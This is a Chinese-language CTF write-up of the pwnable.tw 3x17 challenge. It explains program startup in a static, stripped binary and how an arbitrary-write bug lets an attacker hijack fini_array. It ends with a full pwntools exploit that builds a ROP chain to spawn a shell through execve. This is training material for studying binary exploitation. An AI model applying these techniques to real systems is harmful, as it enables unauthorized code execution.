网安知识
pwnable.tw之3x17
2020-07-03 14:30

前言

最近在pwnable做题遇到一道静态编译的二进制文件,并且是去除符号表的,从这道题可以学习到main函数的由来,以及start函数的部分知识。

题目

这里以pwnable.tw的3x17的题目作为例子。

检查保护

题目仅仅开启了NX的保护

pwnable.tw之3x17139.png

可以看到题目采用的是静态链接

pwnable.tw之3x17167.png

•静态链接:静态链接需要在编译链接的时候将需要执行的代码直接拷贝到调用处,这样可以做到程序发布的时候不需要依赖库,相反的程序占用的内存可能相对较大

•动态链接:动态链接则是当需要调用时,再将库中的代码加载到程序中去,在编译的时候只需要用符号和参数去代替这些代码。这样程序编译出来的内存较小,但是需要将库一起发布出去,缺少库则可能运行不了。

运行程序

程序需要输入地址,在输入数据,从这可以猜出程序有个任意地址写的漏洞。

pwnable.tw之3x17388.png

拖入IDA分析

在使用ida逆向分析的时候可以发现,函数名已经被去除了,只剩下函数的地址。

pwnable.tw之3x17447.png

在使用gdb去调试程序时,也可以看到符号表被去除

pwnable.tw之3x17485.png

寻找主要的函数

由于我们在运行程序时可以看到提示的字符,因此可以通过字符去寻找主要的函数

pwnable.tw之3x17543.png

双击点击字符

pwnable.tw之3x17553.png

可以看到提示字符是保存在buf数组中,选中buf数组,按下x键,寻找数组的交叉引用

pwnable.tw之3x17608.png

就进入到了主要函数的相关逻辑,程序很简单,输入地址,可以写入18个字节,即任意地址写的漏洞,但是程序去除了符号表,因此像got表之类的地址我们找不到,因此这里引出start函数

pwnable.tw之3x17710.png

start函数

其实main函数(主函数)即不是函数的入口点,也不是函数的起始点

这里借用一张图,可以看到

start - > __libc_start_main -> main

start函数调用了__libc_start_main函数,__libc_start_main函数调用了main函数

pwnable.tw之3x17872.png

使用命令readelf -h *,会显示入口点地址,该地值即为start函数的地址

pwnable.tw之3x17927.png

在64位程序下,前六个参数是通过寄存器传参的,而rdi寄存器中保存的是main函数的地址,r8寄存器中保存的是__libc_csu_fini的地址,rcx寄存器中保存的是__libc_csu_init的地址,接着调用__libc_start_main函数

start函数的汇编代码

.text:0000000000401A50 start           proc near               ; DATA XREF: LOAD:0000000000400018↑o

.text:0000000000401A50 ; __unwind {

.text:0000000000401A50                 xor     ebp, ebp #清除ebp寄存器的值

.text:0000000000401A52                 mov     r9, rdx

.text:0000000000401A55                 pop     rsi

.text:0000000000401A56                 mov     rdx, rsp

.text:0000000000401A59                 and     rsp, 0FFFFFFFFFFFFFFF0h

.text:0000000000401A5D                 push    rax

.text:0000000000401A5E                 push    rsp

.text:0000000000401A5F                 mov     r8, offset sub_402960 #__libc_csu_fini

.text:0000000000401A66                 mov     rcx, offset loc_4028D0#__libc_csu_init

.text:0000000000401A6D                 mov     rdi, offset sub_401B6D #main

.text:0000000000401A74                 db      67h

.text:0000000000401A74                 call    sub_401EB0  #调用__libc_start_main

.text:0000000000401A7A                 hlt

.text:0000000000401A7A ; } // starts at 401A50

.text:0000000000401A7A start           endp

_libcstart_main函数

int __libc_start_main(  int (*main) (int, char * *, char * *),

                                     int argc, char * * ubp_av,

                                     void (*init) (void),

                                     void (*fini) (void),

                                     void (*rtld_fini) (void),

                                     void (* stack_end));

从该图可以得知__libc_csu_init是在main函数前调用的,__libc_csu_fini是在main函数后调用的

pwnable.tw之3x172449.png

接着我们我们来看看__libc_csu_fini函数,因为该该函数是在main函数后调用,程序存在一个任意地址写的漏洞,若我们通过该漏洞去修改__libc_csu_fini函数则有可能去修改程序执行的流程

_libccsu_fini函数的汇编代码

.text:0000000000402960 ; __unwind {

.text:0000000000402960                 push    rbp

.text:0000000000402961                 lea     rax, unk_4B4100 #fini_array数组的结束地址

.text:0000000000402968                 lea     rbp, off_4B40F0 #fini_array

.text:000000000040296F                 push    rbx


.text:0000000000402970                 sub     rax, rbp #获得数组的长度

.text:0000000000402973                 sub     rsp, 8

.text:0000000000402977                 sar     rax, 3 #0x10>>3 = 2

.text:000000000040297B                 jz      short loc_402996

.text:000000000040297D                 lea     rbx, [rax-1] # 2-1 = 1

.text:0000000000402981                 nop     dword ptr [rax+00000000h]

.text:0000000000402988

.text:0000000000402988 loc_402988:                             ; CODE XREF: sub_402960+34↓j

.text:0000000000402988                 call    qword ptr [rbp+rbx*8+0]

                                                                                                              #即先调用fini_array[1]再调用fini_array[0]

.text:000000000040298C                 sub     rbx, 1

.text:0000000000402990                 cmp     rbx, 0FFFFFFFFFFFFFFFFh

.text:0000000000402994                 jnz     short loc_402988

.text:0000000000402996

.text:0000000000402996 loc_402996:                             ; CODE XREF: sub_402960+1B↑j

.text:0000000000402996                 add     rsp, 8

.text:000000000040299A                 pop     rbx

.text:000000000040299B                 pop     rbp

.text:000000000040299C                 jmp     sub_48E32C

.text:000000000040299C ; } // starts at 402960

.text:000000000040299C sub_402960      endp

pwnable.tw之3x174140.png

程序逻辑还是比较清楚的,先是取0x4b4100地址存入rax寄存器中,再取0x4b40f0地址存入rbp寄存器中,这两个地址刚好是fini_array数组的范围,该数组可以存放两个地址,在这称为fini_array[0]与fini_array[1],通过代码可以看出,程序是先调用了fini_array[1]再去调用fini_array[0]。

我们用gdb跟踪调试一下

lea rax,[rip+0xb1798] #0x4B4100

该地值为fini_array数组已经结束的地址,为后续计算数组长度做准备

pwnable.tw之3x174408.png

lea rbp,[rip+0xb1781] #0x4B40F0

将数组的起始地址存入rbp中

pwnable.tw之3x174468.png

.text:0000000000402988                 call    qword ptr [rbp+rbx*8+0]

.text:000000000040298C                 sub     rbx, 1

.text:0000000000402990                 cmp     rbx, 0FFFFFFFFFFFFFFFFh

.text:0000000000402994                 jnz     short loc_402988

可以看到rbx寄存器相当于存放的是数组的下标值,由于数组存放的内容大小为8个字节,因此要rbx*8,先调用fini_array[1],后面则是对下标做减1的操作,接着调用fini_array[0]的内容,当下标为-1时跳出循环

pwnable.tw之3x174858.png

至此,我们已经简略的分析了__libc_csu_fini函数的执行流程,简单来说就是执行fini_array数组的内容,先执行fini_array[1]接着执行fini_array[0],由于程序存在任意地址写的漏洞,那么就可以修改fini_array数组的内容,让程序执行我们想执行的内容。

思路

•利用任意地址写的漏洞修改fini_array数组的内容

•将fini_array[1]的内容修改为main函数的地址,将fini_array[0]的内容修改为__libc_csu_fini的地址,这样可以达到无限制的任意地址写

main

-> 调用__libc_csu_fini

-> 调用main函数(fini_array[0])

-> 调用__libc_csu_fini(fini_array[1])

-> 调用main函数(fini_array[0])

........

•利用无限制的任意地址写在fini_array+0x10构造ROP链

•利用栈转移,将栈转移到fini_array+0x10从而触发ROP链

脚本分析

将array_fini[0]修改为__libc_csu_fini的地址

将array_fini[1]修改为main函数的地址

ropchain(fini_array,p64(fini)+p64(main))

因为程序中没有/bin/sh\x00,因此挑一段可写段写入/bin/sh\x00,这里我采用的是bss段

ropchain(0x4b92e0,'/bin/sh\x00') #0x4b92e0是bss段的地址

这里我选择利用调用59号中断取获得shell,64位程序采用寄存器传参,因此我们需要找到相应寄存器的地址构造ROP链,rax寄存器需要传入调用号,rdi则需要传入/bin/sh\x00的地址,其余参数为0

ropchain(fini_array+0x10,p64(rax_ret))

ropchain(fini_array+0x18,p64(59))

ropchain(fini_array+0x20,p64(rdi_ret))

ropchain(fini_array+0x28,p64(0x4b92e0))

ropchain(fini_array+0x30,p64(rsi_ret))

ropchain(fini_array+0x38,p64(0))

ropchain(fini_array+0x40,p64(rdx_ret))

ropchain(fini_array+0x48,p64(0))

ropchain(fini_array+0x50,p64(syscall))

ropchain(fini_array,p64(leave_ret)+p64(ret))

#等价于 execve('/bin/sh\x00',0,0);

由于32位与64位的中断调用号不一样,因此需要查询一下,这个网站的地址收集了64位与32位的中断调用号,非常实用。

https://blog.csdn.net/qq_29343201/article/details/52209588

59调用号实则是调用了execve函数

#define __NR_execve 59

采用leave;ret进行栈转移

ropchain(fini_array,p64(leave_ret)+p64(ret))

因为rbp已经存入了fini_array数组的首地址,因此利用leave;ret可以进行栈转移,使得rip指向fini_array+8的位置,可能会疑惑为什么是fini_array+8而不是fini_array,是因为在mov rsp,rbp时,此时的rsp指针已经时指向了fini_array的位置,接着pop rbp使得rsp+8,因此此时的rsp指针指向的位置为fini_array+8的位置,可能看解释不太清楚,那就看下调试的结果

leave 相当于  mov rsp,rbp

                                  pop rbp


ret 相当于    pop rip

在执行leave指令之前,此时的rbp的地址为0x4b98e0

pwnable.tw之3x176609.png

在执行leave指令之后,此时的rsp的地址为0x4b40f8

pwnable.tw之3x176654.png

但是我们构造的ROP链的地址为0x4b4100,因此还需要将栈抬高0x8因此需要将array_fini[1]的数组内容修改为ret指令,使得栈地址可以抬高0x8达到我们构造的ROP链的地址

ropchain(fini_array,p64(leave_ret)+p64(ret))#即这里为什么需要多加一个ret指令

完整exp

虽然题目是pwnable.tw的,但是比较是国外的平台,比较慢,因此这里我选择去BUUCTF这个平台去跑脚本,BUU里面有很多往年或者是新题目,值得去刷一刷

from pwn import *

sh = process("./pwn")

#sh = remote("node3.buuoj.cn",26554)

main =0x401B6D

fini_array =0x4B40F0

fini =0x402960

syscall =0x4022b4

rax_ret =0x41e4af

rdi_ret =0x401696

rsi_ret =0x406c30

rdx_ret =0x446e35

leave_ret =0x401c4b

ret =0x401016

def ropchain(addr,data):

           sh.recvuntil("addr:")

           sh.send(str(addr))

           sh.recvuntil("data:")

           sh.send(data)

ropchain(fini_array,p64(fini)+p64(main))

ropchain(0x4b92e0,'/bin/sh\x00')

ropchain(fini_array+0x10,p64(rax_ret))

ropchain(fini_array+0x18,p64(59))

ropchain(fini_array+0x20,p64(rdi_ret))

ropchain(fini_array+0x28,p64(0x4b92e0))

ropchain(fini_array+0x30,p64(rsi_ret))

ropchain(fini_array+0x38,p64(0))

ropchain(fini_array+0x40,p64(rdx_ret))

ropchain(fini_array+0x48,p64(0))

ropchain(fini_array+0x50,p64(syscall))

attach(sh)

ropchain(fini_array,p64(leave_ret)+p64(ret))

sh.interactive()

结语

题目本身不是很难,但是通过这个题目我们可以学习到main函数的由来和start函数以及__libc_csu_fini函数中存在可以利用的点,还可以巩固系统调用和栈转移的知识,是个非常不错的题目。

参考链接

https://blog.csdn.net/gettogetto/article/details/52251753

https://bbs.pediy.com/thread-259298.htm

http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html

https://www.freebuf.com/articles/system/226003.html

https://blog.csdn.net/qq_29343201/article/details/52209588

实验推荐--PWN综合练习(一)

CTF PWN进阶训练实战,尝试溢出一个URL解码程序

上一篇:house of storm 的利用
下一篇:Blind_pwn之格式化字符串
版权所有 合天智汇信息技术有限公司 2013-2021 湘ICP备14001562号-6
Copyright © 2013-2020 Heetian Corporation, All rights reserved
4006-123-731